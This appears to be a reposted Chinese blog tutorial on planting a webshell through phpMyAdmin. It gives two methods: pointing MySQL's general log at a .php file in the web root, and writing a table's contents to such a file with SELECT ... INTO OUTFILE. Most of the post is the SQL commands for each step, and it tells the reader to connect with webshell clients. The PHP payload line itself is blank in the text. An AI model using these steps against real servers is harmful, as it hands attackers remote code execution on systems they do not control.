phpmyadmin getshell兩種思路

背景

phpMyAdmin 是一個以PHP爲基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。通過mysql相關特性,可以實現對任意文件的寫入,從而實現getshell。

思路1:通過日誌文件寫入

mysql 5.0版本以上會創建日誌文件,修改日誌的全局變量,也可以getshell。但是也要對生成的日誌有可讀可寫的權限。

查看日誌狀態 

show variables  like  ‘%general%’;

開啓日誌

SET GLOBAL general_log=’on’

創建文件

在設置日誌路徑之前,需要先知道web的絕對路徑;通過 Select @@datadir; 獲取

獲取絕對路徑後,需要根據返回的信息猜測判斷web路徑;

設置日誌文件生成路徑,需要存在web根目錄下,才能通過web訪問;

SET GLOBAL general_log_file=’C:/xampp/htdocs/111.php’

執行完,即會生成日誌文件;

接着執行

即可在日誌文件插入一句話; 直接用蟻劍或者菜刀鏈接即可

思路2:利用mysql備份功能

進入phpmyadmin,選擇一個數據庫,創建一張表比如table_text,添加一個TEXT類型的字段,用來存放shell語句;

同樣的道理,需要先獲取web的路徑,方法同思路1;

執行sql語句

select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;

這樣一句話就生成了;

總結思路2:

Create TABLE table_text (cmd text NOT NULL);
Insert INTO table_text (cmd) VALUES(”);
select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;
Drop TABLE IF EXISTS table_text;

查看原文

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章